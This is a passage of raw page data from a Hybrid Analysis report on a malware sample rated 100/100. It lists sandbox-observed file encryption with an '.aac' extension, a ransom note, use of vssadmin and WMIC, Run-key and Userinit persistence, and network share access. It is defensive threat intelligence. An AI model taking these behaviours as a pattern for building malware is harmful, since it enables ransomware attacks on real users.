comctl32.dll","davhlpr.dll","dnsapi.dll","msasn1.dll","ntmarta.dll","drprov.dll","Wldap32.dll","ntlanman.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"ExcelLR.cab.aac","sha256":"7e88eb5ea10ff61d2b60125168215e1a92d0140e2fbf0fa368cd93b2e39cb47e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"name":"ExcelMUI.xml.aac","sha256":"d4e11769e1275e9626830d41b86f0e70492cc5425c52f6b384a4f1ae50a8f71f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"name":"Learn how to recover your files.txt","sha256":"9f24e104deafe25913b52e048229f2b3a352c146ee8bf4ab638cd1f4e889b530","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"Setup.xml.aac","sha256":"99a1eedacbe98b67258ab55b1d621a250c4209e953a0c0497800682a6f361374","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"PowerPointMUI.xml.aac","sha256":"875f2d472a194513615ca22c15f3757d8ecbcc71708bc4d4ef0d30093e211ddf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"name":"PptLR.cab.aac","sha256":"182556380fee2f1913ebe767cca1aab37719c8d664d063fc209c45ccf038a272","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"name":"dotnet.au3.aac","sha256":"f88ec84c38af4b00e44fdb855ccd4c9b02a9be182d714df9b665cc13d6da20de","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"name":"OWOW64WW.cab.aac","sha256":"2c3ba3f610c9024875db6a614a44f6079c53a2ef977692cc9ba9c34ba7046dfc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"Office64WW.xml.aac","sha256":"94ff90b3753fead0172fa71a925549813677c5cfee54e7d3fda104c8abed9a26","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"ProPlusWW.xml.aac","sha256":"5adf0fe857bb248cadb176f3cc8e0b50c2e07da8ae050a0f81366f43f5fea50a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"name":"ProPsWW.cab.aac","sha256":"b2ef52628a1615bb2e9d44cd8654949c2dd734bc0b38e48a82a21410ba03553c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"name":"pkeyconfig-office.xrm-ms.aac","sha256":"8b9d0d186820515469fd063b49e7655c6e856c04c9ebe7c062e9c0643ed55525","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"1517733200203$MAPFAILURE.aac","sha256":"78b88495f2f46d025139399e2d22be15b14da631a3453cac2d87357e195c875f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"name":"1517733200203$OK.aac","sha256":"86bc648c00872b4c6fbf20e781579c124e3b0ecf92325a176aee1b4a71ceb9a4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"name":"ProPsWW2.cab.aac","sha256":"188b5a54d91655b5d7a367ea82443b1aedd7d3a40066016287d3912f6489eff5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"name":"OWOW32WW.cab.aac","sha256":"401b89525071a486ede68e9eec48577e6a02b075b5f16160f554ae2e19662c3a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"name":"1517753852976$OK.aac","sha256":"1d38680f6d5d7138d12b34255e5941f2196a8e4be6cd349923962bf674c73ac0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"name":"Office32WW.xml.aac","sha256":"50507c30cf670718ac0c0d703e7963cde7520a2ddeb3d3c627e98cbb18f60151","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"name":"1517753852976$MAPFAILURE.aac","sha256":"b4a706acf1745b83aee5286ee86f414346a0cd2ad1cde99ffa3f9880341ae911","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"name":"1501586942695$OK.aac","sha256":"631492d0826a80276c3aefa1dde1715783c63da71a00286eddca5beb1ff137a2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"StandardWW.xml.aac","sha256":"b1111ce406109942355c35f4c008c4f49933efa3ba91cb2181c30ad421f0bf35","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"StdWW.cab.aac","sha256":"4889461e43151e3daba6d2dbb9bbe2288f4930ff0cafc77973251a280c76d66a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]}],"files_written":[{"path":"%WINDIR%\\System32\\en-US\\reg.exe.mui","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\share\\1606169268437$MAPFAILURE.aac","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"UNC\\192.168.241.129\\PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"\\.\\.","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml.aac","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\PptLR.cab.aac","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\PptLR.cab","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"%WINDIR%\\System32\\attrib.exe","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\System32\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\WMIC.exe.mui","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"%WINDIR%\\System32\\wbem\\xsl-mappings.xml","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\dotnet.au3.aac","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"C:\\Learn how to recover your files.txt","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0016-0409-0000-0000000FF1CE}-C\\ExcelLR.cab.aac","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"C:\\share\\1606169268437$MAPFAILURE","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"C:\\share\\1606169268437$OK.aac","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"C:\\share\\1606169268437$OK","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"%SAMPLEDIR%\\network.pcapng.aac","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml.aac","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0016-0409-0000-0000000FF1CE}-C\\Learn how to recover your files.txt","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml.aac","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"}]},{"path":"%WINDIR%\\System32\\en-US\\vssadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"%WINDIR%\\System32\\en-US\\attrib.exe.mui","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"%WINDIR%\\System32\\wbem\\WMIC.exe","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\1517733200203$MAPFAILURE.aac","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\1517733200203$OK.aac","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\ddM.Tm0","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\v1fXXbXJlJLrg.IJ5","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\Zznw4FCg8HWNZtYMAsoT.dKe","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\xr1kgG6Iaoc3TiOgBc2agnAQ.VMA","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\Sw96eObQB.kEa","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\1YTmkJOzN.GvD","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\share\\1517733200203$MAPFAILURE.aac","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\share\\1517733200203$MAPFAILURE","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\share\\1517733200203$OK.aac","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\share\\1517733200203$OK","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0011-0000-0000-0000000FF1CE}-C\\Office64WW.xml.aac","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0011-0000-0000-0000000FF1CE}-C\\OWOW64WW.cab.aac","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0011-0000-0000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.aac","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0011-0000-0000-0000000FF1CE}-C\\ProPlusWW.xml.aac","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0011-0000-0000-0000000FF1CE}-C\\ProPsWW.cab.aac","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0011-0000-0000-0000000FF1CE}-C\\ProPsWW.cab","sources":[{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"}]},{"path":"%WINDIR%\\SysWOW64\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\SysWOW64\\attrib.exe","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\attrib.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\SysWOW64\\reg.exe","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\reg.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\SysWOW64\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\vssadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\SysWOW64\\wbem\\WMIC.exe","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\SysWOW64\\wbem\\en-US\\WMIC.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\SysWOW64\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\SysWOW64\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\SysWOW64\\wbem\\xsl-mappings.xml","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"path":"%WINDIR%\\system32\\attrib.exe","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%WINDIR%\\system32\\en-US\\attrib.exe.mui","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%WINDIR%\\system32\\reg.exe","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%WINDIR%\\system32\\en-US\\reg.exe.mui","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%WINDIR%\\system32\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%WINDIR%\\system32\\en-US\\vssadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%WINDIR%\\System32\\Wbem\\WMIC.exe","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%WINDIR%\\system32\\wbem\\XSL-Mappings.xml","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%WINDIR%\\System32\\Wbem\\en-US\\WMIC.exe.mui","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%WINDIR%\\system32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"%WINDIR%\\system32\\en-US\\MPR.DLL.mui","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\1501586942695$OK.aac","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"PIPE\\wkssvc","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\4pS.rZc","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\D5oDF7MHHV9Z0.jbz","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\XfObXSG2h9e8F7Ya3pXG.M5L","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\6baCx7tKL0L5vGGBiP57xQSU.7cJ","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\JiwQF5gLK.XW3","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"\\192.168.56.1\\IPC$","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\9xlPbjiXU.atp","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\Office64WW.xml.aac","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"\\192.168.56.19\\IPC$","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"\\192.168.56.23\\IPC$","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\OWOW64WW.cab.aac","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.aac","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\Setup.xml.aac","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\StandardWW.xml.aac","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\StdWW.cab","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\StdWW.cab.aac","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\WINLOGON\\USERINIT\\","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5fbc32972e987559b110aa7e"},{"report_type":"sandbox","report_id":"5a76c5617ca3e122890d58c3"},{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\WINLOGON\\USERINIT\\","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5a7716197ca3e1527636ecd3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!wrld5tq!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!wrld5tq!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!wrld5tq!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"598066177ca3e1601a6f95f5"}]}]}},"report_ids":{"sandbox_job_ids":["598066177ca3e1601a6f95f5","5fbc32972e987559b110aa7e","5a7716197ca3e1527636ecd3","5a76c5617ca3e122890d58c3"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 10b893ca31e0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 10b893ca31e0…. Malware family: Trojan.Generic. Threat score 100/100. 25/28 AV engines flagged this file. 7 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/10b893ca31e0e5c0c22350f66d98cefd2c5f74f65d5efe5ab137a63de2bc70ff"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 10b893ca31e0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 10b893ca31e0…. Malware family: Trojan.Generic. Threat score 100/100. 25/28 AV engines flagged this file. 7 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/10b893ca31e0e5c0c22350f66d98cefd2c5f74f65d5efe5ab137a63de2bc70ff"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 10b893ca31e0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 10b893ca31e0…. Malware family: Trojan.Generic. Threat score 100/100. 25/28 AV engines flagged this file. 7 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L38","11",{}]]